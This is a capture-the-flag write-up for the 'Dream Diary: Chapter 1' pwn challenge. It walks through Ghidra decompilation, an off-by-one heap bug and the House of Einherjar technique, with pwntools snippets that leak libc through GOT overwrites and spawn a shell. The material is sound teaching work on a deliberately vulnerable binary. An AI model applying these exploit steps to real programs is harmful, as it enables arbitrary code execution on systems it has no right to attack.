Dream Diary: Chapter 1

17th 1 23 / Document No. D22.102.113

Prepared By: FizzBuzz101

Challenge Author: xero

Difficulty: Medium

Classification: Official

Synopsis

Dream Diary: Chapter 1 is a medium Pwn challenge. Players will discover and exploit an off by one bug in glibc 2.23 program in order to use the House of Einherjar exploitation technique.

Skills Required

- glibc heap fundamentals
- Uncovering bugs by reversing

Skills Learned

- Off-by-one exploitation
- House of Enherjar

Solution

Before beginning, reading the following links specific to this older era of heap exploitation will help with some background:

https://0x00sec.org/t/null-byte-poisoning-the-magic-byte/3874

https://devel0pment.de/?p=688.

It's also important to have a high-level understanding of glibc heap exploitation before attempting this challenge in order to have the required prerequisite knowledge.

Note that the binary is running with ASLR, but without PIE and only partial RELRO, which should make exploitation easier. The challenge also mentions Xenial Xerus as a hint, so I did all my debugging in a Xenial Xerus VM.

Reversing

Here is the decompiled output from GHIDRA (some obvious renaming was done based on the strings and functionalities):

```
void main(void)
{
  int iVar1;
  long in_FS_OFFSET;
  undefined8 local_18;
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  local_18 = 0;
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  do {
    while( true ) {
      while( true ) {
        menu();
        read(0,&local_18,4);
        iVar1 = atoi((char *)&local_18);
        if (iVar1 != 2) break;
        edit();
      }
      if (2 < iVar1) break;
      if (iVar1 == 1) {
        allocate();
      }
      else {
LAB_00400d71:
        puts("Invalid choice!");
      }
    }
    if (iVar1 != 3) {
      if (iVar1 == 4) {
        exit(0);
      }
      goto LAB_00400d71;
    }
    delete();
  } while( true );
}



void menu(void)
```

```
{
  puts("\n+------------------------------+");
  puts("|         Dream Diary          |");
  puts("+------------------------------+");
  puts("| [1] Allocate                 |");
  puts("| [2] Edit                     |");
  puts("| [3] Delete                   |");
  puts("| [4] Exit                     |");
  puts("+------------------------------+");
  printf(">> ");
  return;
}

void FUN_004008ec(void *pvParm1,size_t sParm2)
{
  ssize_t sVar1;

  sVar1 = read(0,pvParm1,sParm2);
  if ((int)sVar1 < 1) {
    puts("Read error!");
    exit(-1);
  }
  return;
}

void edit(void)
{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  undefined8 local_18;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_18 = 0;
  printf("Index: ");
  read(0,&local_18,4);
  iVar1 = atoi((char *)&local_18);
  if ((iVar1 < 0) || (0xf < iVar1)) {
    puts("Out of bounds!");
  }
  else {
    if (*(long *)(&DAT_006020c0 + (long)iVar1 * 8) == 0) {
      puts("No UAF for you!");
    }
    else {
      sVar2 = strlen(*(char **)(&DAT_006020c0 + (long)iVar1 * 8));
      printf("Data: ");
      FUN_004008ec(*(undefined8 *)(&DAT_006020c0 + (long)iVar1 *
8),sVar2,sVar2);
      puts("Done!");
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
```

```
  return;
}


void allocate(void)
{
  int iVar1;
  size_t __size;
  void *pvVar2;
  long in_FS_OFFSET;
  int local_24;
  undefined8 local_18;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_18 = 0;
  local_24 = 0;
  do {
    if (0xf < local_24) {
      puts("Too many notes!");
LAB_00400aad:
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
        __stack_chk_fail();
      }
      return;
    }
    if (*(long *)(&DAT_006020c0 + (long)local_24 * 8) == 0) {
      printf("\nSize: ");
      FUN_004008ec(&local_18,6);
      iVar1 = atoi((char *)&local_18);
      __size = SEXT48(iVar1);
      pvVar2 = malloc(__size);
      *(void **)(&DAT_006020c0 + (long)local_24 * 8) = pvVar2;
      if (*(long *)(&DAT_006020c0 + (long)local_24 * 8) == 0) {
        puts("Malloc error!");
        exit(-1);
      }
      printf("Data: ");
      FUN_004008ec(*(undefined8 *)(&DAT_006020c0 + (long)local_24 *
8),__size,__size);
      puts("Success!");
      goto LAB_00400aad;
    }
    local_24 = local_24 + 1;
  } while( true );
}


void delete(void)
{
  int iVar1;
  long in_FS_OFFSET;
  undefined8 local_18;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
```

```
  local_18 = 0;
  printf("Index: ");
  read(0,&local_18,4);
  iVar1 = atoi((char *)&local_18);
  if ((iVar1 < 0) || (0xf < iVar1)) {
    puts("Out of bounds!");
  }
  else {
    if (*(long *)(&DAT_006020c0 + (long)iVar1 * 8) == 0) {
      puts("No double-free for you!");
    }
    else {
      free(*(void **)(&DAT_006020c0 + (long)i
      *(undefined8 *)(&DAT_006020c0 + (long)iVar1 * 8) = 0;
      puts("Done!");
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return;
}
```

One can allocate, edit, and delete notes. There is a maximum of 16 notes, all stored in an array of pointers starting at `0x6020c0` in `BSS`. `FUN_004008ec` is not included in the above output as it is just a wrapper around `read` with some additional error handling.

Bug

The bug here is an off by one. Recall that each chunk (when in use) starts with the size field (which also holds metadata marking if the chunk is in use, is mapped, and/or in the main arena) before the data. Since `allocate()` uses `read()` to read in the data, there is no null termination. One can allocate specific chunk sizes that allow a user to fill in memory all the way, up to the next chunk's size field. The edit function determines how much a user can write back using `strlen()` - if the previous scenario is created, then a heap overflow will occur.

My goal was to build a stronger exploitation primitive here, such as UAF. This can be achieved by achieving something known as "back coalescing" in heap exploitation - when freeing a chunk, we want to trick the glibc allocator to consider the previous adjacent chunk as free too (even if it's still in use), so it merges the two into one big free chunk into its doubly linked unsorted bin, `freelist`.

Bypassing Checks

In glibc 2.23, there are a few requirements for this to occur. Consider we have chunks A and B.

1. chunk B must be greater than fastbin size for it to go into the unsorted bin and be considered for back coalescing. Fastbin-sized chunks have a size less than or equal to `0x80` (including chunk metadata such as the size field).
2. chunk B must not be adjacent to the top chunk (a.k.a. heap wilderness). Otherwise, the allocator will just adjust the top chunk to cover chunk B when freeing it.
3. chunk A must be marked as not-in-use, as from glibc source:

```
    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }
```

However, we can't exactly overflow into chunk A's size field from a chunk above it, and free B to trigger back coalescing. `unlink` is hardened in 2.23 with the following checks:

```
#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");                \
    FD = P->fd;                                     \
    BK = P->bk;                                     \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
      malloc_printerr ("corrupted double-linked list");
```

Unlink is also used when splitting chunks in other scenarios handled by the allocator:

```
          else
            {
              size = chunksize (victim);

              /*  We know the first chunk in this bin is big enough to use. */
              assert ((unsigned long) (size) >= (unsigned long) (nb));

              remainder_size = size - nb;

              /* unlink */
              unlink (av, victim, bck, fwd);
```

As the `prev_size` field of a chunk is always filled when the previous chunk is freed, the first check is just doing a basic sanity check. If you shrink a 0x290-sized chunk into 0x280 with the overflow, you want to ensure that the chunk's location + 0x280 has the correct `prev_size`. The second check is a sanity check on the state of the doubly linked list. In order to beat this, the strategy is to usually let `malloc()` and `free()` do the work for you (unless you manage to achieve some nice heap leaks).

Exploitation Strategy

To start off, I allocated 4 chunks of non-fastbin size (0x110, 0x290, 0x110, 0x110), with the last chunk acting as a barrier against top chunk consolidation.

```
alloc(0x500, b'A' * 0x500)
free(0)

alloc(0x108, b'A' * 0x108)
alloc(0x288, b'B'*0x270 + p64(0x280))
alloc(0x108, b'C'*0x108)
alloc(0x108, b'D'*0x108)
```

Then, after freeing chunk 2, I utilized the bug from chunk 1 to shrink the freed chunk 2's size to 0x280. As chunk 2 is in the unsorted bin now, the original data used for chunk 2 was configured accordingly to pass the unlink check (in regards to `prev_size`) when the allocator splits out new chunks from this region if required. Note that chunk 3's prev in_use bit is now unset.

```
free(1)
edit(0, b'A' * 0x108 + b'\x80\x02')
```

This strategy is also nice because when chunk 3 gets freed, it will only see the `prev_size` value of 0x290 - the allocator will think the freed chunk's size is 0x280 and will think that the `prev_size` field is 0x10 bytes before the original `prev_size` field. Hence, the original `prev_size` value will never change even as this unsorted chunk shrinks as only the fake `prev_size` value will be updated.

Now, I allocated chunk 5 (smallbin size of 0x90) and chunk 6 (fastbin size of 0x70).

```
alloc(0x80, b'E' * 0x80)
alloc(0x60, b'F' * 0x70)
```

Because chunk 2 went into the unsorted bin, malloc will provide us with these chunks by splitting from chunk 2's memory. By freeing chunk 5 back into the unsorted bin, `free()` will write `fd` and `bk` pointers into its freed memory accordingly - this will help us bypass the second unlink check during back coalescing.

There is also a specific reason I chose the 0x70 fastbin. The 0x70 fastbin is often a good target since a size of 0x7f will pass this check and this size is easy to fake with misalignment in 64 bit processes due to standard libc addresses under ASLR.

Now, when I free chunk 3, the following will happen:

```
free(1)
free(2)
free(4)
```

1. It's in the unsorted bin, and the allocator checks if backward consolidation is possible, which is because the prev in_use field has been unset on it
2. It relies on the original `prev_size` value of 0x290, so unlink is called on the previous chunk (whose address is based on the value of 0x290, which is where chunk 5 is now) as it is not marked in use
3. Chunk 5 was just freed so its state is completely valid. Its size matches the next chunk's prev_size field, and the doubly linked list pointers are good. A big part of how easy this check is to bypass is because the target chunk's (chunk 3) `prev_size` field is never verified to match the "previous" chunk's size field
4. Unlink occurs, and then back consolidation occurs. Now, we have a UAF primitive over the entire memory region from the top of the freed chunk 2 to the end of chunk 3, including the freed chunk 5 and the in-use chunk 6

Now all that we need to do is to free chunk 6 into its fastbin, and then tamper its freelist before allocating from this fastbin again. However, we still need to make sure to redirect it somewhere with a valid size, even if it requires misalignment. Recall that the array of note pointers starts at 0x6020c0. Looking around the memory region, we see this:

```
0x60209d:   0x32e2311540000000  0x000000000000007f
0x6020ad:   0x0000000000000000  0x0000000000000000
```

We can redirect a fastbin here (chunk 7), and then achieve the ability for arbitrary write as we take over the array of pointers to notes. As the binary only has partial RELRO, we can change the array to GOT entries.

To bypass ASLR, we need a libc leak. I did this by pointing an entry to `free@GOT`, and then modifying it to point to `puts@PLT`. I also pointed another entry to `puts@GOT`, and then called free (which is actually puts now) on it for a libc address leak.

```
alloc(0x200, b'Z' * 0x80 + p64(0x90) + p64(0x71) + p64(0x60209d))
alloc(0x60, b'G')
alloc(0x60, b'A' * 0x13 + p64(binary.got['free']) + p64(binary.got['puts']) +
p64(binary.got['atoi']))
edit(0, p64(binary.plt['puts']))
free(1)
```

Lastly, to pop a shell, I pointed an entry to `atoi@GOT` and changed it to `system()`. Now, one can simply send "bash" to `atoi()` as the binary runs to pop a shell.

```
log.info("Leaked libc base: " + hex(libcBase))
systemAddress = libcBase + libc.symbols['system']
edit(2, p64(systemAddress))
p.recvrepeat(1)
log.info("Creating a shell")
p.sendline(b'bash')
p.interactive()
```

Note: Because remote used `pty` with `socat`, causing issues with certain bytes which must be escaped, before each sendline I had to make sure I escaped `\x16` and `\x7f`